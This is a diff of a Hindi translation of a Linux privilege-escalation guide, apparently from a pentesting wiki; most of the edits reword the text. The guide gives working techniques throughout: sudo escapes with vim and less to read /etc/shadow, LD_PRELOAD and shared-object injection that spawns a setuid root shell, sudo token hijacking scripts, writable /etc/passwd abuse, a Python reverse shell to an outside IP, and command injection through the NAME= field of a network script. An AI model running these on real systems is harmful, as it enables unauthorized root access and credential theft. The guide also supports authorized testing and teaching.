@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
कुछ Linux संस्करण एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674)\
कुछ Linux संस्करण एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674).\
**इसे एक्सप्लॉइट करें**: **`systemd-run -t /bin/bash`**
### Groups
@ -683,18 +683,18 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### ज्ञात पासवर्ड
यदि आप **पर्यावरण का कोई पासवर्ड जानते हैं** तो **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने का प्रयास करें**
यदि आप **पर्यावरण का कोई पासवर्ड जानते हैं** तो **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने का प्रयास करें** पासवर्ड का उपयोग करके
### Su Brute
यदि आपको बहुत शोर करने में कोई आपत्ति नहीं है और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता को ब्रूट-फोर्स करने का प्रयास कर सकते हैं।\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ भी उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है।
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है।
## लिखने योग्य PATH का दुरुपयोग
## Writable PATH दुरुपयोग
### $PATH
यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ा सकते हैं, जिसका नाम किसी कमांड के समान हो जो किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता** है।
यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ा सकते हैं, जिसका नाम किसी कमांड का है जो किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता** है $PATH में
### SUDO और SUID
@ -720,7 +720,7 @@ $ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में एक ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना सरल है।
इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना सरल है।
```
sudo vim -c '!sh'
```
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo निष्पादन बाईपासिंग पथ
**कूदें** अन्य फ़ाइलों को पढ़ने के लिए या **साइमलिंक** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_
**कूदें** अन्य फ़ाइलें पढ़ने के लिए या **सिंबॉलिक लिंक** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -780,14 +780,14 @@ export -f /usr/sbin/service
### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को निर्दिष्ट करने के लिए किया जाता है जिन्हें लोडर द्वारा सभी अन्य के पहले लोड किया जाना है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है।
**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को निर्दिष्ट करने के लिए किया जाता है जिन्हें लोडर द्वारा सभी अन्य के पहले लोड किया जाएगा, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है।
हालांकि, सिस्टम की सुरक्षा बनाए रखने और इस सुविधा के दुरुपयोग को रोकने के लिए, विशेष रूप से **suid/sgid** निष्पादन योग्य के साथ, सिस्टम कुछ शर्तों को लागू करता है:
- लोडर उन निष्पादन योग्य के लिए **LD_PRELOAD** की अनदेखी करता है जहाँ वास्तविक उपयोगकर्ता आईडी (_ruid_) प्रभावी उपयोगकर्ता आईडी (_euid_) से मेल नहीं खाती।
- suid/sgid वाले निष्पादन योग्य के लिए, केवल मानक पथों में पुस्तकालयों को प्रीलोड किया जाता है जो भी suid/sgid होते हैं।
अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, जो संभावित रूप से उच्चाधिकारों के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है।
अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, संभावित रूप से उच्चाधिकारों के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है।
```
Defaults env_keep += LD_PRELOAD
```
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID बाइनरी .so इंजेक्शन
जब किसी बाइनरी में **SUID** अनुमतियाँ असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही तरीके से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है:
जब किसी बाइनरी में **SUID** अनुमतियाँ असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही ढंग से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
@ -859,7 +859,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
अंततः, प्रभावित SUID बाइनरी को चलाना एक्सप्लॉइट को ट्रिगर करना चाहिए, जिससे संभावित सिस्टम समझौता हो सके।
अंततः, प्रभावित SUID बाइनरी को चलाने से एक्सप्लॉइट सक्रिय होना चाहिए, जिससे संभावित सिस्टम समझौता हो सके।
## साझा ऑब्जेक्ट हाइजैकिंग
```bash
@ -892,9 +892,9 @@ system("/bin/bash -p");
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) Unix बाइनरीज़ की एक चयनित सूची है जिसे एक हमलावर स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित क सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में **इंजेक्ट** कर सकते हैं।
[**GTFOBins**](https://gtfobins.github.io) एक क्यूरेटेड सूची है Unix बाइनरीज़ की, जिन्हें एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप **केवल तर्कों को** एक कमांड में इंजेक्ट कर सकते हैं।
यह परियोजना उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करती है जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल को स्पॉन करने, और अन्य पोस्ट-शोषण कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है।
यह परियोजना उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करती है जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल्स को स्पॉन करने, और अन्य पोस्ट-शोषण कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है।
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -913,14 +913,14 @@ https://gtfoargs.github.io/
यदि आप `sudo -l` तक पहुँच सकते हैं, तो आप उपकरण [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि क्या यह किसी भी sudo नियम का शोषण करने का तरीका खोजता है।
### Sudo टोकन का पुन: उपयोग
### Sudo टोकन का पुन: उपयोग करना
उन मामलों में जहां आपके पास **sudo एक्सेस** है लेकिन पासवर्ड नहीं है, आप **sudo कमांड निष्पादन की प्रतीक्षा करके और फिर सत्र टोकन को हाईजैक करके** विशेषाधिकार बढ़ा सकते हैं।
उन मामलों में जहां आपके पास **sudo पहुँच** है लेकिन पासवर्ड नहीं है, आप **sudo कमांड निष्पादन की प्रतीक्षा करके और फिर सत्र टोकन को हाईजैक करके** विशेषाधिकार बढ़ा सकते हैं।
विशेषाधिकार बढ़ाने की आवश्यकताएँ:
- आपके पास पहले से "_sampleuser_" उपयोगकर्ता के रूप में एक शेल है
- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह वह अवधि है जब sudo टोकन हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देता है)
- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से यह वह अवधि है जब sudo टोकन हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देता है)
- `cat /proc/sys/kernel/yama/ptrace_scope` 0 है
- `gdb` सुलभ है (आप इसे अपलोड करने में सक्षम हो सकते हैं)
@ -928,13 +928,13 @@ https://gtfoargs.github.io/
यदि ये सभी आवश्यकताएँ पूरी होती हैं, तो **आप विशेषाधिकार बढ़ा सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **पहला शोषण** (`exploit.sh`) _/tmp_ में बाइनरी `activate_sudo_token` बनाएगा। आप इसका उपयोग अपने सत्र में **sudo टोकन को सक्रिय करने** के लिए कर सकते हैं (आपको स्वचालित रूप से एक रूट शेल नहीं मिलेगा, `sudo su` करें):
- **पहला शोषण** (`exploit.sh`) _/tmp_ में बाइनरी `activate_sudo_token` बनाएगा। आप इसका उपयोग **अपने सत्र में sudo टोकन को सक्रिय करने के लिए** कर सकते हैं (आपको स्वचालित रूप से एक रूट शेल नहीं मिलेगा, `sudo su` करें):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- **दूसरा एक्सप्लॉइट** (`exploit_v2.sh`) _/tmp_ में **रूट द्वारा सेटयूआईडी के साथ एक श शेल बनाएगा**
- दूसरा **शोषण** (`exploit_v2.sh`) _/tmp_ में **रूट द्वारा सेटयूआईडी के साथ एक श शेल बनाएगा**
```bash
bash exploit_v2.sh
/tmp/sh -p
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
यदि आप जानते हैं कि एक **उपयोगकर्ता आमतौर पर एक मशीन से कनेक्ट होता है और विशेषाधिकार बढ़ाने के लिए `sudo` का उपयोग करता है** और आपके पास उस उपयोगकर्ता संदर्भ में एक शेल है, तो आप **एक नया sudo निष्पादन योग्य बना सकते हैं** जो आपके कोड को रूट के रूप में और फिर उपयोगकर्ता के कमांड को निष्पादित करेगा। फिर, **उपयोगकर्ता संदर्भ का $PATH संशोधित करें** (उदाहरण के लिए .bash_profile में नया पथ जोड़कर) ताकि जब उपयोगकर्ता sudo निष्पादित करे, तो आपका sudo निष्पादन योग्य निष्पादित हो।
यदि आप जानते हैं कि एक **उपयोगकर्ता आमतौर पर एक मशीन से कनेक्ट होता है और विशेषाधिकार बढ़ाने के लिए `sudo` का उपयोग करता है** और आपके पास उस उपयोगकर्ता संदर्भ में एक शेल है, तो आप **एक नया sudo निष्पादन योग्य बना सकते हैं** जो आपके कोड को रूट के रूप में और फिर उपयोगकर्ता के कमांड को निष्पादित करेगा। फिर, **उपयोगकर्ता संदर्भ का $PATH संशोधित करें** (उदाहरण के लिए .bash_profile में नए पथ को जोड़कर) ताकि जब उपयोगकर्ता sudo निष्पादित करे, तो आपका sudo निष्पादन योग्य निष्पादित हो।
ध्यान दें कि यदि उपयोगकर्ता एक अलग शेल का उपयोग करता है (bash नहीं) तो आपको नए पथ को जोड़ने के लिए अन्य फ़ाइलों को संशोधित करने की आवश्यकता होगी। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` को संशोधित करता है। आप [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में एक और उदाहरण पा सकते हैं।
@ -1007,7 +1007,7 @@ sudo ls
इसका मतलब है कि `/etc/ld.so.conf.d/*.conf` से कॉन्फ़िगरेशन फ़ाइलें पढ़ी जाएँगी। ये कॉन्फ़िगरेशन फ़ाइलें **अन्य फ़ोल्डरों की ओर इशारा करती हैं** जहाँ **लाइब्रेरी** **खोजी** जाएँगी। उदाहरण के लिए, `/etc/ld.so.conf.d/libc.conf` की सामग्री है `/usr/local/lib`**इसका मतलब है कि सिस्टम `/usr/local/lib` के अंदर लाइब्रेरी खोजेगा**
यदि किसी कारणवश **किसी उपयोगकर्ता के पास लिखने की अनुमति है** किसी भी पथ पर जो संकेतित हैं: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` के अंदर कोई भी फ़ाइल या `/etc/ld.so.conf.d/*.conf` के अंदर कॉन्फ़िगरेशन फ़ाइल के भीतर कोई भी फ़ोल्डर, तो वह विशेषाधिकार बढ़ाने में सक्षम हो सकता है।\
इस गलत कॉन्फ़िगरेशन का **शोषण कैसे करें** इस पृष्ठ पर देखें:
इस **गलत कॉन्फ़िगरेशन का लाभ उठाने के तरीके** पर नज़र डालें:
{{#ref}}
ld.so.conf-example.md
@ -1057,8 +1057,8 @@ linux-capabilities.md
## निर्देशिका अनुमतियाँ
एक निर्देशिका में, **"कार्यक्रम"** के लिए बिट का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\
**"पढ़ने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइल** **बना** सकता है।
एक निर्देशिका में, **"कार्यान्वयन" के लिए बिट** का अर्थ है कि प्रभावित उपयोगकर्ता **फोल्डर में "cd"** कर सकता है।\
**"पढ़ने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों की सूची** देख सकता है, और **"लिखने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों को हटा** और **नई फाइलें बना** सकता है।
## ACLs
@ -1077,8 +1077,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Open shell sessions
In **पुराने संस्करणों** आप **हाइजैक** कर सकते हैं कुछ **शेल** सत्र एक अलग उपयोगकर्ता (**रूट**) के।\
In **नवीनतम संस्करणों** आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **जुड़ने** में सक्षम होंगे। हालांकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं।
In **पुराने संस्करणों** आप **हाइजैक** कर सकते हैं कुछ **शेल** सत्र का एक अलग उपयोगकर्ता (**रूट**).\
In **नवीनतम संस्करणों** आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **कनेक्ट** करने में सक्षम होंगे। हालांकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं।
### screen sessions hijacking
@ -1089,7 +1089,7 @@ screen -ls <username>/ # Show another user' screen sessions
```
![](<../../images/image (141).png>)
**सत्र से संलग्न करें**
**सत्र से जुड़ें**
```bash
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
@ -1123,8 +1123,8 @@ Check **Valentine box from HTB** for an example.
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर सितंबर 2006 और 13 मई 2008 के बीच उत्पन्न सभी SSL और SSH कुंजी इस बग से प्रभावित हो सकती हैं।\
यह बग उन OS में एक नई ssh कुंजी बनाने के दौरान होता है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहा गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
सभी SSL और SSH कुंजी जो Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर सितंबर 2006 और 13 मई 2008 के बीच उत्पन्न की गई थीं, इस बग से प्रभावित हो सकती हैं।\
यह बग उन OS में एक नई ssh कुंजी बनाने के दौरान होता है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहा गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interesting configuration values
@ -1138,27 +1138,27 @@ Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर
- `yes`: रूट पासवर्ड और निजी कुंजी का उपयोग करके लॉगिन कर सकता है
- `without-password` या `prohibit-password`: रूट केवल निजी कुंजी के साथ लॉगिन कर सकता है
- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके और यदि कमांड विकल्प निर्दिष्ट किए गए हैं तो लॉगिन कर सकता है
- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके और यदि कमांड विकल्प निर्दिष्ट किए गए हैं, लॉगिन कर सकता है
- `no` : नहीं
### AuthorizedKeysFile
यह उन फ़ाइलों को निर्दिष्ट करता है जो सार्वजनिक कुंज को शामिल करती हैं जो उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जा सकती हैं। इसमें `%h` जैसे टोकन हो सकते हैं, जिसे होम डायरेक्टरी द्वारा प्रतिस्थापित किया जाएगा। **आप पूर्ण पथ निर्दिष्ट कर सकते हैं** (जो `/` से शुरू होता है) या **उपयोगकर्ता के होम से सापेक्ष पथ**। उदाहरण के लिए:
यह उन फ़ाइलों को निर्दिष्ट करता है जो सार्वजनिक कुंजियों को शामिल करती हैं जो उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जा सकती हैं। इसमें `%h` जैसे टोकन हो सकते हैं, जिसे होम डायरेक्टरी द्वारा प्रतिस्थापित किया जाएगा। **आप पूर्ण पथ निर्दिष्ट कर सकते हैं** (जो `/` से शुरू होता है) या **उपयोगकर्ता के होम से सापेक्ष पथ**। उदाहरण के लिए:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
यह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने का प्रयास करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों से करेगा।
यह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने का प्रयास करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा।
### ForwardAgent/AllowAgentForwarding
SSH एजेंट फॉरवर्डिंग आपको **अपने स्थानीय SSH कुंजी का उपयोग करने** की अनुमति देता है बजाय इसके कि कुंजियाँ (बिना पासफ़्रेज़ के!) आपके सर्वर पर बैठी रहें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **उपयोग करके** अपनी **प्रारंभिक होस्ट** में स्थित **कुंजी**
SSH एजेंट फॉरवर्डिंग आपको **अपनी स्थानीय SSH कुंजियों का उपयोग करने** की अनुमति देता है बजाय इसके कि आप अपने सर्वर पर कुंजियाँ (बिना पासफ़्रेज़ के!) छोड़ दें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **उसी कुंजी** का उपयोग करते हुए जो आपके **प्रारंभिक होस्ट** में स्थित है
आपको इस विकल्प को `$HOME/.ssh.config` में इस तरह सेट करना होगा:
```
Host example.com
ForwardAgent yes
```
ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, तो वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)।
ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)।
फाइल `/etc/ssh_config` इस **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन की अनुमति या अस्वीकृति कर सकती है।\
फाइल `/etc/sshd_config` ssh-agent फॉरवर्डिंग को कीवर्ड `AllowAgentForwarding` के साथ **अनुमति** या **अस्वीकृति** दे सकती है (डिफ़ॉल्ट अनुमति है)।
@ -1181,7 +1181,7 @@ ls -l /etc/profile /etc/profile.d/
### Passwd/Shadow फ़ाइलें
OS के आधार पर, `/etc/passwd` और `/etc/shadow` फ़ाइलें एक अलग नाम का उपयोग कर सकती हैं या एक बैकअप हो सकता है। इसलिए यह अनुशंसित है कि **नमें से सभी को खोजें** और **जांचें कि क्या आप न्हें पढ़ सकते हैं** यह देखने के लिए कि **क्या फ़ाइलों के अंदर हैश हैं**:
OS के आधार पर `/etc/passwd` और `/etc/shadow` फ़ाइलें एक अलग नाम का उपयोग कर सकती हैं या एक बैकअप हो सकता है। इसलिए यह अनुशंसित है कि **नमें से सभी को खोजें** और **जांचें कि क्या आप न्हें पढ़ सकते हैं** यह देखने के लिए **क्या फ़ाइलों के अंदर हैश हैं**:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1194,7 +1194,7 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/
```
### Writable /etc/passwd
पहले, निम्नलिखित कमांड में से एक के साथ एक पासवर्ड उत्पन्न करें।
पहले, निम्नलिखित कमांड में से एक का उपयोग करके एक पासवर्ड उत्पन्न करें।
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
@ -1325,16 +1325,16 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate exploitation
### Logrotate शोषण
`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **रूट** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए।
`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **root** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए।
> [!NOTE]
> [!TIP]
> यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने को प्रभावित करती है
सुरक्षा कमी के बारे में अधिक विस्तृत जानकारी इस पृष्ठ पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
आप इस सुरक्षा कमी का लाभ [**logrotten**](https://github.com/whotwagner/logrotten) के साथ उठा सकते हैं।
आप इस सुरक्षा कमी का शोषण [**logrotten**](https://github.com/whotwagner/logrotten) के साथ कर सकते हैं।
यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिम्लिंक्स द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं।
@ -1342,11 +1342,11 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
**सुरक्षा कमी संदर्भ:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-<whatever>` स्क्रिप्ट या इसे **समायोजित** कर सकता है, तो आपका **सिस्टम प्वंड** है।
यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-<whatever>` स्क्रिप्ट या इसे **समायोजित** कर सकता है, तो आपका **सिस्टम प्वाइंड** है।
नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे बिल्कुल .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, इन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है।
मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ रूट के रूप में निष्पादित होता है**।
मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि आपके नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ root के रूप में निष्पादित होता है**।
उदाहरण के लिए: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1358,9 +1358,9 @@ DEVICE=eth0
